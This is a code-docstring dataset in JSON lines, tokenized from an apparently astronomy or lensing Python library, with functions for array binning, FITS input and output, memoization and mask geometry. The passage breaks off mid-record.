{"signature": "@decorator_util.jit()<EOL>def bin_up_array_2d_using_sum(array_2d, bin_up_factor):", "body": "padded_array_2d = pad_2d_array_for_binning_up_with_bin_up_factor(array_2d=array_2d, bin_up_factor=bin_up_factor)<EOL>binned_array_2d = np.zeros(shape=(padded_array_2d.shape[<NUM_LIT:0>] // bin_up_factor,<EOL>padded_array_2d.shape[<NUM_LIT:1>] // bin_up_factor))<EOL>for y in range(binned_array_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(binned_array_2d.shape[<NUM_LIT:1>]):<EOL><INDENT>value = <NUM_LIT:0.0><EOL>for y1 in range(bin_up_factor):<EOL><INDENT>for x1 in range(bin_up_factor):<EOL><INDENT>padded_y = y*bin_up_factor + y1<EOL>padded_x = x*bin_up_factor + x1<EOL>value += padded_array_2d[padded_y, padded_x]<EOL><DEDENT><DEDENT>binned_array_2d[y,x] = value<EOL><DEDENT><DEDENT>return binned_array_2d<EOL>", "docstring": "Bin up an array to coarser resolution, by binning up groups of pixels and using their sum value to determine \\\n     the value of the new pixel.\n\n    If an array of shape (8,8) is input and the bin up size is 2, this would return a new array of size (4,4) where \\\n    every pixel was the sum of each collection of 2x2 pixels on the (8,8) array.\n\n    If binning up the array leads to an edge being cut (e.g. a (9,9) array binned up by 2), an array is first \\\n    extracted around the centre of that array.\n\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is resized.\n    new_shape : (int, int)\n        The (y,x) new pixel dimension of the trimmed array.\n    origin : (int, int)\n        The oigin of the resized array, e.g. the central pixel around which the array is extracted.\n\n    Returns\n    -------\n    ndarray\n        The resized 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    resize_array = resize_array_2d(array_2d=array_2d, new_shape=(2,2), origin=(2, 2))", "id": "f5993:m6"}
{"signature": "def numpy_array_2d_to_fits(array_2d, file_path, overwrite=False):", "body": "if overwrite and os.path.exists(file_path):<EOL><INDENT>os.remove(file_path)<EOL><DEDENT>new_hdr = fits.Header()<EOL>hdu = fits.PrimaryHDU(np.flipud(array_2d), new_hdr)<EOL>hdu.writeto(file_path)<EOL>", "docstring": "Write a 2D NumPy array to a .fits file.\n\n    Before outputting a NumPy array, the array is flipped upside-down using np.flipud. This is so that the arrays \\\n    appear the same orientation as .fits files loaded in DS9.\n\n    Parameters\n    ----------\n    array_2d : ndarray\n        The 2D array that is written to fits.\n    file_path : str\n        The full path of the file that is output, including the file name and '.fits' extension.\n    overwrite : bool\n        If True and a file already exists with the input file_path the .fits file is overwritten. If False, an error \\\n        will be raised.\n\n    Returns\n    -------\n    None\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    numpy_array_to_fits(array=array_2d, file_path='/path/to/file/filename.fits', overwrite=True)", "id": "f5993:m7"}
{"signature": "def numpy_array_2d_from_fits(file_path, hdu):", "body": "hdu_list = fits.open(file_path)<EOL>return np.flipud(np.array(hdu_list[hdu].data))<EOL>", "docstring": "Read a 2D NumPy array to a .fits file.\n\n    After loading the NumPy array, the array is flipped upside-down using np.flipud. This is so that the arrays \\\n    appear the same orientation as .fits files loaded in DS9.\n\n    Parameters\n    ----------\n    file_path : str\n        The full path of the file that is loaded, including the file name and '.fits' extension.\n    hdu : int\n        The HDU extension of the array that is loaded from the .fits file.\n\n    Returns\n    -------\n    ndarray\n        The NumPy array that is loaded from the .fits file.\n\n    Examples\n    --------\n    array_2d = numpy_array_from_fits(file_path='/path/to/file/filename.fits', hdu=0)", "id": "f5993:m8"}
{"signature": "def __init__(self):", "body": "self.results = {}<EOL>self.calls = <NUM_LIT:0><EOL>self.arg_names = None<EOL>", "docstring": "Class to store the results of a function given a set of inputs.", "id": "f5993:c0:m0"}
{"signature": "def __call__(self, func):", "body": "if self.arg_names is not None:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>self.arg_names = inspect.getfullargspec(func).args<EOL>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>key = \"<STR_LIT:U+002CU+0020>\".join(<EOL>[\"<STR_LIT>\".format(arg_name, arg) for arg_name, arg in<EOL>list(zip(self.arg_names, args)) + [(k, v) for k, v in kwargs.items()]])<EOL>if key not in self.results:<EOL><INDENT>self.calls += <NUM_LIT:1><EOL><DEDENT>self.results[key] = func(*args, **kwargs)<EOL>return self.results[key]<EOL><DEDENT>return wrapper<EOL>", "docstring": "Memoize decorator. Any time a function is called that a memoizer has been attached to its results are stored in\nthe results dictionary or retrieved from the dictionary if the function has already been called with those\narguments.\n\nNote that the same memoizer persists over all instances of a class. Any state for a given instance that is not\ngiven in the representation of that instance will be ignored. That is, it is possible that the memoizer will\ngive incorrect results if instance state does not affect __str__ but does affect the value returned by the\nmemoized method.\n\nParameters\n----------\nfunc: function\n    A function for which results should be memoized\n\nReturns\n-------\ndecorated : function\n    A function that memoizes results", "id": "f5993:c0:m1"}
{"signature": "@decorator_util.jit()<EOL>def total_regular_pixels_from_mask(mask):", "body": "total_regular_pixels = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>total_regular_pixels += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return total_regular_pixels<EOL>", "docstring": "Compute the total number of unmasked regular pixels in a masks.", "id": "f5994:m1"}
{"signature": "@decorator_util.jit()<EOL>def total_sub_pixels_from_mask_and_sub_grid_size(mask, sub_grid_size):", "body": "return total_regular_pixels_from_mask(mask) * sub_grid_size ** <NUM_LIT:2><EOL>", "docstring": "Compute the total number of sub-pixels in unmasked regular pixels in a masks.", "id": "f5994:m2"}
{"signature": "@decorator_util.jit()<EOL>def total_sparse_pixels_from_mask(mask, unmasked_sparse_grid_pixel_centres):", "body": "total_sparse_pixels = <NUM_LIT:0><EOL>for unmasked_sparse_pixel_index in range(unmasked_sparse_grid_pixel_centres.shape[<NUM_LIT:0>]):<EOL><INDENT>y = unmasked_sparse_grid_pixel_centres[unmasked_sparse_pixel_index, <NUM_LIT:0>]<EOL>x = unmasked_sparse_grid_pixel_centres[unmasked_sparse_pixel_index, <NUM_LIT:1>]<EOL>if not mask[y,x]:<EOL><INDENT>total_sparse_pixels += <NUM_LIT:1><EOL><DEDENT><DEDENT>return total_sparse_pixels<EOL>", "docstring": "Given the full (i.e. without removing pixels which are outside the regular-masks) pixelization grid's pixel centers\n    and the regular-masks, compute the total number of pixels which are within the regular-masks and thus used by the\n    pixelization grid.\n\n    Parameters\n    -----------\n    mask : ccd.masks.Mask\n        The regular-masks within which pixelization pixels must be inside\n    unmasked_sparse_grid_pixel_centres : ndarray\n        The centres of the unmasked pixelization grid pixels.", "id": "f5994:m3"}
{"signature": "@decorator_util.jit()<EOL>def mask_circular_from_shape_pixel_scale_and_radius(shape, pixel_scale, radius_arcsec, centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "mask = np.full(shape, True)<EOL>centres_arcsec = mask_centres_from_shape_pixel_scale_and_centre(shape=mask.shape, pixel_scale=pixel_scale, centre=centre)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scale<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scale<EOL>r_arcsec = np.sqrt(x_arcsec ** <NUM_LIT:2> + y_arcsec ** <NUM_LIT:2>)<EOL>if r_arcsec <= radius_arcsec:<EOL><INDENT>mask[y, x] = False<EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Compute a circular masks from an input masks radius and regular shape.", "id": "f5994:m4"}
{"signature": "@decorator_util.jit()<EOL>def mask_circular_annular_from_shape_pixel_scale_and_radii(shape, pixel_scale, inner_radius_arcsec, outer_radius_arcsec,<EOL>centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "mask = np.full(shape, True)<EOL>centres_arcsec = mask_centres_from_shape_pixel_scale_and_centre(shape=mask.shape, pixel_scale=pixel_scale, centre=centre)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scale<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scale<EOL>r_arcsec = np.sqrt(x_arcsec ** <NUM_LIT:2> + y_arcsec ** <NUM_LIT:2>)<EOL>if outer_radius_arcsec >= r_arcsec >= inner_radius_arcsec:<EOL><INDENT>mask[y, x] = False<EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Compute an annular masks from an input inner and outer masks radius and regular shape.", "id": "f5994:m5"}
{"signature": "@decorator_util.jit()<EOL>def mask_circular_anti_annular_from_shape_pixel_scale_and_radii(shape, pixel_scale, inner_radius_arcsec, outer_radius_arcsec,<EOL>outer_radius_2_arcsec, centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "mask = np.full(shape, True)<EOL>centres_arcsec = mask_centres_from_shape_pixel_scale_and_centre(shape=mask.shape, pixel_scale=pixel_scale,<EOL>centre=centre)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scale<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scale<EOL>r_arcsec = np.sqrt(x_arcsec ** <NUM_LIT:2> + y_arcsec ** <NUM_LIT:2>)<EOL>if  inner_radius_arcsec >= r_arcsec or outer_radius_2_arcsec >= r_arcsec >= outer_radius_arcsec:<EOL><INDENT>mask[y, x] = False<EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Compute an annular masks from an input inner and outer masks radius and regular shape.", "id": "f5994:m6"}
{"signature": "@decorator_util.jit()<EOL>def mask_elliptical_from_shape_pixel_scale_and_radius(shape, pixel_scale, major_axis_radius_arcsec, axis_ratio, phi,<EOL>centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "mask = np.full(shape, True)<EOL>centres_arcsec = mask_centres_from_shape_pixel_scale_and_centre(shape=mask.shape, pixel_scale=pixel_scale,<EOL>centre=centre)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scale<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scale<EOL>r_arcsec_elliptical = elliptical_radius_from_y_x_phi_and_axis_ratio(y_arcsec, x_arcsec, phi, axis_ratio)<EOL>if r_arcsec_elliptical <= major_axis_radius_arcsec:<EOL><INDENT>mask[y, x] = False<EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Compute a circular masks from an input masks radius and regular shape.", "id": "f5994:m8"}
{"signature": "@decorator_util.jit()<EOL>def mask_elliptical_annular_from_shape_pixel_scale_and_radius(shape, pixel_scale,<EOL>inner_major_axis_radius_arcsec, inner_axis_ratio, inner_phi,<EOL>outer_major_axis_radius_arcsec, outer_axis_ratio, outer_phi,<EOL>centre=(<NUM_LIT:0.0>, <NUM_LIT:0.0>)):", "body": "mask = np.full(shape, True)<EOL>centres_arcsec = mask_centres_from_shape_pixel_scale_and_centre(shape=mask.shape, pixel_scale=pixel_scale,<EOL>centre=centre)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>y_arcsec = (y - centres_arcsec[<NUM_LIT:0>]) * pixel_scale<EOL>x_arcsec = (x - centres_arcsec[<NUM_LIT:1>]) * pixel_scale<EOL>inner_r_arcsec_elliptical = elliptical_radius_from_y_x_phi_and_axis_ratio(y_arcsec, x_arcsec,<EOL>inner_phi, inner_axis_ratio)<EOL>outer_r_arcsec_elliptical = elliptical_radius_from_y_x_phi_and_axis_ratio(y_arcsec, x_arcsec,<EOL>outer_phi, outer_axis_ratio)<EOL>if inner_r_arcsec_elliptical >= inner_major_axis_radius_arcsec andouter_r_arcsec_elliptical <= outer_major_axis_radius_arcsec:<EOL><INDENT>mask[y, x] = False<EOL><DEDENT><DEDENT><DEDENT>return mask<EOL>", "docstring": "Compute a circular masks from an input masks radius and regular shape.", "id": "f5994:m9"}
{"signature": "@decorator_util.jit()<EOL>def mask_blurring_from_mask_and_psf_shape(mask, psf_shape):", "body": "blurring_mask = np.full(mask.shape, True)<EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>for y1 in range((-psf_shape[<NUM_LIT:0>] + <NUM_LIT:1>) // <NUM_LIT:2>, (psf_shape[<NUM_LIT:0>] + <NUM_LIT:1>) // <NUM_LIT:2>):<EOL><INDENT>for x1 in range((-psf_shape[<NUM_LIT:1>] + <NUM_LIT:1>) // <NUM_LIT:2>, (psf_shape[<NUM_LIT:1>] + <NUM_LIT:1>) // <NUM_LIT:2>):<EOL><INDENT>if <NUM_LIT:0> <= x + x1 <= mask.shape[<NUM_LIT:1>] - <NUM_LIT:1> and <NUM_LIT:0> <= y + y1 <= mask.shape[<NUM_LIT:0>] - <NUM_LIT:1>:<EOL><INDENT>if mask[y + y1, x + x1]:<EOL><INDENT>blurring_mask[y + y1, x + x1] = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise exc.MaskException(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return blurring_mask<EOL>", "docstring": "Compute a blurring masks from an input masks and psf shape.\n\n    The blurring masks corresponds to all pixels which are outside of the masks but will have a fraction of their \\\n    light blur into the masked region due to PSF convolution.", "id": "f5994:m10"}
{"signature": "@decorator_util.jit()<EOL>def masked_grid_1d_index_to_2d_pixel_index_from_mask(mask):", "body": "total_regular_pixels = total_regular_pixels_from_mask(mask)<EOL>grid_to_pixel = np.zeros(shape=(total_regular_pixels, <NUM_LIT:2>))<EOL>pixel_count = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>grid_to_pixel[pixel_count, :] = y, x<EOL>pixel_count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return grid_to_pixel<EOL>", "docstring": "Compute a 1D array that maps every unmasked pixel to its corresponding 2d pixel using its (y,x) pixel indexes.\n\n    For howtolens if pixel [2,5] corresponds to the second pixel on the 1D array, grid_to_pixel[1] = [2,5]", "id": "f5994:m11"}
{"signature": "@decorator_util.jit()<EOL>def masked_sub_grid_1d_index_to_2d_sub_pixel_index_from_mask(mask, sub_grid_size):", "body": "total_sub_pixels = total_sub_pixels_from_mask_and_sub_grid_size(mask=mask, sub_grid_size=sub_grid_size)<EOL>sub_grid_to_sub_pixel = np.zeros(shape=(total_sub_pixels, <NUM_LIT:2>))<EOL>sub_pixel_count = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>for y1 in range(sub_grid_size):<EOL><INDENT>for x1 in range(sub_grid_size):<EOL><INDENT>sub_grid_to_sub_pixel[sub_pixel_count, :] = (y*sub_grid_size)+y1, (x*sub_grid_size)+x1<EOL>sub_pixel_count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return sub_grid_to_sub_pixel<EOL>", "docstring": "Compute a 1D array that maps every unmasked pixel to its corresponding 2d pixel using its (y,x) pixel indexes.\n\n    For howtolens if pixel [2,5] corresponds to the second pixel on the 1D array, grid_to_pixel[1] = [2,5]", "id": "f5994:m12"}
{"signature": "@decorator_util.jit()<EOL>def total_edge_pixels_from_mask(mask):", "body": "border_pixel_total = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>if mask[y + <NUM_LIT:1>, x] or mask[y - <NUM_LIT:1>, x] or mask[y, x + <NUM_LIT:1>] or mask[y, x - <NUM_LIT:1>] ormask[y + <NUM_LIT:1>, x + <NUM_LIT:1>] or mask[y + <NUM_LIT:1>, x - <NUM_LIT:1>] or mask[y - <NUM_LIT:1>, x + <NUM_LIT:1>] or mask[y - <NUM_LIT:1>, x - <NUM_LIT:1>]:<EOL><INDENT>border_pixel_total += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return border_pixel_total<EOL>", "docstring": "Compute the total number of borders-pixels in a masks.", "id": "f5994:m13"}
{"signature": "@decorator_util.jit()<EOL>def edge_pixels_from_mask(mask):", "body": "edge_pixel_total = total_edge_pixels_from_mask(mask)<EOL>edge_pixels = np.zeros(edge_pixel_total)<EOL>edge_index = <NUM_LIT:0><EOL>regular_index = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>if mask[y + <NUM_LIT:1>, x] or mask[y - <NUM_LIT:1>, x] or mask[y, x + <NUM_LIT:1>] or mask[y, x - <NUM_LIT:1>] ormask[y + <NUM_LIT:1>, x + <NUM_LIT:1>] or mask[y + <NUM_LIT:1>, x - <NUM_LIT:1>] or mask[y - <NUM_LIT:1>, x + <NUM_LIT:1>] or mask[y - <NUM_LIT:1>, x - <NUM_LIT:1>]:<EOL><INDENT>edge_pixels[edge_index] = regular_index<EOL>edge_index += <NUM_LIT:1><EOL><DEDENT>regular_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return edge_pixels<EOL>", "docstring": "Compute a 1D array listing all edge pixel indexes in the masks. An edge pixel is a pixel which is not fully \\\n    surrounding by False masks values i.e. it is on an edge.", "id": "f5994:m14"}
{"signature": "@decorator_util.jit()<EOL>def total_border_pixels_from_mask_and_edge_pixels(mask, edge_pixels, masked_grid_index_to_pixel):", "body": "border_pixel_total = <NUM_LIT:0><EOL>for i in range(edge_pixels.shape[<NUM_LIT:0>]):<EOL><INDENT>if check_if_border_pixel(mask, edge_pixels[i], masked_grid_index_to_pixel):<EOL><INDENT>border_pixel_total += <NUM_LIT:1><EOL><DEDENT><DEDENT>return border_pixel_total<EOL>", "docstring": "Compute the total number of borders-pixels in a masks.", "id": "f5994:m16"}
{"signature": "@decorator_util.jit()<EOL>def border_pixels_from_mask(mask):", "body": "edge_pixels = edge_pixels_from_mask(mask)<EOL>masked_grid_index_to_pixel = masked_grid_1d_index_to_2d_pixel_index_from_mask(mask)<EOL>border_pixel_total = total_border_pixels_from_mask_and_edge_pixels(mask, edge_pixels, masked_grid_index_to_pixel)<EOL>border_pixels = np.zeros(border_pixel_total)<EOL>border_pixel_index = <NUM_LIT:0><EOL>for edge_pixel_index in range(edge_pixels.shape[<NUM_LIT:0>]):<EOL><INDENT>if check_if_border_pixel(mask, edge_pixels[edge_pixel_index], masked_grid_index_to_pixel):<EOL><INDENT>border_pixels[border_pixel_index] = edge_pixels[edge_pixel_index]<EOL>border_pixel_index += <NUM_LIT:1><EOL><DEDENT><DEDENT>return border_pixels<EOL>", "docstring": "Compute a 1D array listing all borders pixel indexes in the masks. A borders pixel is a pixel which:\n\n     1) is not fully surrounding by False masks values.\n     2) Can reach the edge of the array without hitting a masked pixel in one of four directions (upwards, downwards,\n     left, right).\n\n     The borders pixels are thus pixels which are on the exterior edge of the masks. For example, the inner ring of edge \\\n     pixels in an annular masks are edge pixels but not borders pixels.", "id": "f5994:m17"}
{"signature": "@decorator_util.jit()<EOL>def bin_up_mask_2d(mask_2d, bin_up_factor):", "body": "padded_array_2d = array_util.pad_2d_array_for_binning_up_with_bin_up_factor(<EOL>array_2d=mask_2d, bin_up_factor=bin_up_factor, pad_value=True)<EOL>binned_array_2d = np.zeros(shape=(padded_array_2d.shape[<NUM_LIT:0>] // bin_up_factor,<EOL>padded_array_2d.shape[<NUM_LIT:1>] // bin_up_factor))<EOL>for y in range(binned_array_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(binned_array_2d.shape[<NUM_LIT:1>]):<EOL><INDENT>value = True<EOL>for y1 in range(bin_up_factor):<EOL><INDENT>for x1 in range(bin_up_factor):<EOL><INDENT>padded_y = y*bin_up_factor + y1<EOL>padded_x = x*bin_up_factor + x1<EOL>if padded_array_2d[padded_y, padded_x] == False:<EOL><INDENT>value = False<EOL><DEDENT><DEDENT><DEDENT>binned_array_2d[y,x] = value<EOL><DEDENT><DEDENT>return binned_array_2d<EOL>", "docstring": "Bin up an array to coarser resolution, by binning up groups of pixels and using their sum value to determine \\\n     the value of the new pixel.\n\n    If an array of shape (8,8) is input and the bin up size is 2, this would return a new array of size (4,4) where \\\n    every pixel was the sum of each collection of 2x2 pixels on the (8,8) array.\n\n    If binning up the array leads to an edge being cut (e.g. a (9,9) array binned up by 2), an array is first \\\n    extracted around the centre of that array.\n\n\n    Parameters\n    ----------\n    mask_2d : ndarray\n        The 2D array that is resized.\n    new_shape : (int, int)\n        The (y,x) new pixel dimension of the trimmed array.\n    origin : (int, int)\n        The oigin of the resized array, e.g. the central pixel around which the array is extracted.\n\n    Returns\n    -------\n    ndarray\n        The resized 2D array from the input 2D array.\n\n    Examples\n    --------\n    array_2d = np.ones((5,5))\n    resize_array = resize_array_2d(array_2d=array_2d, new_shape=(2,2), origin=(2, 2))", "id": "f5994:m19"}
{"signature": "@decorator_util.jit()<EOL>def map_1d_indexes_to_2d_indexes_for_shape(indexes_1d, shape):", "body": "indexes_2d = np.zeros((indexes_1d.shape[<NUM_LIT:0>], <NUM_LIT:2>))<EOL>for i, index_1d in enumerate(indexes_1d):<EOL><INDENT>indexes_2d[i, <NUM_LIT:0>] = int(index_1d / shape[<NUM_LIT:1>])<EOL>indexes_2d[i, <NUM_LIT:1>] = int(index_1d % shape[<NUM_LIT:1>])<EOL><DEDENT>return indexes_2d<EOL>", "docstring": "For pixels on a 2D array of shape (rows, colums), map an array of 1D pixel indexes to 2D pixel indexes.\n\n    Indexing is defined from the top-left corner rightwards and downwards, whereby the top-left pixel on the 2D array\n    corresponds to index 0, the pixel to its right pixel 1, and so on.\n\n    For a 2D array of shape (3,3), 1D pixel indexes are converted as follows:\n\n    - 1D Pixel index 0 maps -> 2D pixel index [0,0].\n    - 1D Pixel index 1 maps -> 2D pixel index [0,1].\n    - 1D Pixel index 4 maps -> 2D pixel index [1,0].\n    - 1D Pixel index 8 maps -> 2D pixel index [2,2].\n\n    Parameters\n     ----------\n    indexes_1d : ndarray\n        The 1D pixel indexes which are mapped to 2D indexes.\n    shape : (int, int)\n        The shape of the 2D array which the pixels are defined on.\n\n    Returns\n    --------\n    ndarray\n        An array of 2d pixel indexes with dimensions (total_indexes, 2).\n\n    Examples\n    --------\n    indexes_1d = np.array([0, 1, 2, 5])\n    indexes_2d = map_1d_indexes_to_2d_indexes_for_shape(indexes_1d=indexes_1d, shape=(3,3))", "id": "f5995:m0"}
{"signature": "@decorator_util.jit()<EOL>def map_2d_indexes_to_1d_indexes_for_shape(indexes_2d, shape):", "body": "indexes_1d = np.zeros(indexes_2d.shape[<NUM_LIT:0>])<EOL>for i in range(indexes_2d.shape[<NUM_LIT:0>]):<EOL><INDENT>indexes_1d[i] = int((indexes_2d[i, <NUM_LIT:0>]) * shape[<NUM_LIT:1>] + indexes_2d[i, <NUM_LIT:1>])<EOL><DEDENT>return indexes_1d<EOL>", "docstring": "For pixels on a 2D array of shape (rows, colums), map an array of 2D pixel indexes to 1D pixel indexes.\n\n    Indexing is defined from the top-left corner rightwards and downwards, whereby the top-left pixel on the 2D array\n    corresponds to index 0, the pixel to its right pixel 1, and so on.\n\n    For a 2D array of shape (3,3), 2D pixel indexes are converted as follows:\n\n    - 2D Pixel index [0,0] maps -> 1D pixel index 0.\n    - 2D Pixel index [0,1] maps -> 2D pixel index 1.\n    - 2D Pixel index [1,0] maps -> 2D pixel index 4.\n    - 2D Pixel index [2,2] maps -> 2D pixel index 8.\n\n    Parameters\n     ----------\n    indexes_2d : ndarray\n        The 2D pixel indexes which are mapped to 1D indexes.\n    shape : (int, int)\n        The shape of the 2D array which the pixels are defined on.\n\n    Returns\n    --------\n    ndarray\n        An array of 1d pixel indexes with dimensions (total_indexes).\n\n    Examples\n    --------\n    indexes_2d = np.array([[0,0], [1,0], [2,0], [2,2]])\n    indexes_1d = map_1d_indexes_to_1d_indexes_for_shape(indexes_2d=indexes_2d, shape=(3,3))", "id": "f5995:m1"}
{"signature": "@decorator_util.jit()<EOL>def sub_to_regular_from_mask(mask, sub_grid_size):", "body": "total_sub_pixels = mask_util.total_sub_pixels_from_mask_and_sub_grid_size(mask=mask, sub_grid_size=sub_grid_size)<EOL>sub_to_regular = np.zeros(shape=total_sub_pixels)<EOL>regular_index = <NUM_LIT:0><EOL>sub_index = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>for y1 in range(sub_grid_size):<EOL><INDENT>for x1 in range(sub_grid_size):<EOL><INDENT>sub_to_regular[sub_index] = regular_index<EOL>sub_index += <NUM_LIT:1><EOL><DEDENT><DEDENT>regular_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return sub_to_regular<EOL>", "docstring": "For pixels on a 2D array of shape (rows, colums), compute a 1D array which, for every unmasked pixel on\n    this 2D array, maps the 1D sub-pixel indexes to their 1D pixel indexes.\n\n    For example, the following mappings from sub-pixels to 2D array pixels are:\n\n    - sub_to_regular[0] = 0 -> The first sub-pixel maps to the first unmasked pixel on the regular 2D array.\n    - sub_to_regular[3] = 0 -> The fourth sub-pixel maps to the first unmaksed pixel on the regular 2D array.\n    - sub_to_regular[7] = 1 -> The eighth sub-pixel maps to the second unmasked pixel on the regular 2D array.\n\n    The term 'regular' is used because the regular-grid is defined as the grid of coordinates on the centre of every \\\n    pixel on the 2D array. Thus, this array maps sub-pixels on a sub-grid to regular-pixels on a regular-grid.\n\n    Parameters\n     ----------\n    mask : ndarray\n        A 2D array of bools, where *False* values mean unmasked and are therefore included as part of the sub-grid 2D \\\n        array's regular grid and sub-grid.\n    sub_grid_size : int\n        The size of the sub-grid that each pixel of the 2D array is divided into.\n\n    Returns\n    --------\n    ndarray\n        An array of integers which maps every sub-pixel index to regular-pixel index with dimensions\n        (total_unmasked_pixels*sub_grid_size**2).\n\n    Examples\n    --------\n    mask = np.array([[True, False, True],\n                     [False, False, False]\n                     [True, False, True]])\n    sub_to_regular = sub_to_regular_from_mask(mask=mask, sub_grid_size=2)", "id": "f5995:m2"}
{"signature": "@decorator_util.jit()<EOL>def map_2d_array_to_masked_1d_array_from_array_2d_and_mask(mask, array_2d):", "body": "total_image_pixels = mask_util.total_regular_pixels_from_mask(mask)<EOL>array_1d = np.zeros(shape=total_image_pixels)<EOL>index = <NUM_LIT:0><EOL>for y in range(mask.shape[<NUM_LIT:0>]):<EOL><INDENT>for x in range(mask.shape[<NUM_LIT:1>]):<EOL><INDENT>if not mask[y, x]:<EOL><INDENT>array_1d[index] = array_2d[y, x]<EOL>index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return array_1d<EOL>", "docstring": "For a 2D array and mask, map the values of all unmasked pixels to a 1D array.\n\n    The pixel coordinate origin is at the top left corner of the 2D array and goes right-wards and downwards, such\n    that for an array of shape (3,3) where all pixels are unmasked:\n\n    - pixel [0,0] of the 2D array will correspond to index 0 of the 1D array.\n    - pixel [0,1] of the 2D array will correspond to index 1 of the 1D array.\n    - pixel [1,0] of the 2D array will correspond to index 4 of the 1D array.\n\n    Parameters\n     ----------\n    mask : ndarray\n        A 2D array of bools, where *False* values mean unmasked and are included in the mapping.\n    array_2d : ndarray\n        The 2D array of values which are mapped to a 1D array.\n\n    Returns\n    --------\n    ndarray\n        A 1D array of values mapped from the 2D array with dimensions (total_unmasked_pixels).\n\n    Examples\n    --------\n    mask = np.array([[True, False, True],\n                     [False, False, False]\n                     [True, False, True]])\n\n    array_2d = np.array([[1.0, 2.0, 3.0],\n                          [4.0, 5.0, 6.0],\n                          [7.0, 8.0, 9.0]])\n\n    array_1d = map_2d_array_to_masked_1d_array_from_array_2d_and_mask(mask=mask, array_2d=array_2d)", "id": "f5995:m3"}
{"signature": "@decorator_util.jit()<EOL>def map_masked_1d_array_to_2d_array_from_array_1d_shape_and_one_to_two(array_1d, shape, one_to_two):", "body": "array_2d = np.zeros(shape)<EOL>for index in range(len(one_to_two)):<EOL><INDENT>array_2d[one_to_two[index, <NUM_LIT:0>], one_to_two[index, <NUM_LIT:1>]] = array_1d[index]<EOL><DEDENT>return array_2d<EOL>", "docstring": "For a 1D array that was computed by mapping unmasked values from a 2D array of shape (rows, columns), map its \\\n    values back to the original 2D array where masked values are set to zero.\n\n    This uses a 1D array 'one_to_two' where each index gives the 2D pixel indexes of the 1D array's unmasked pixels, \\\n    for example:\n\n    - If one_to_two[0] = [0,0], the first value of the 1D array maps to the pixel [0,0] of the 2D array.\n    - If one_to_two[1] = [0,1], the second value of the 1D array maps to the pixel [0,1] of the 2D array.\n    - If one_to_two[4] = [1,1], the 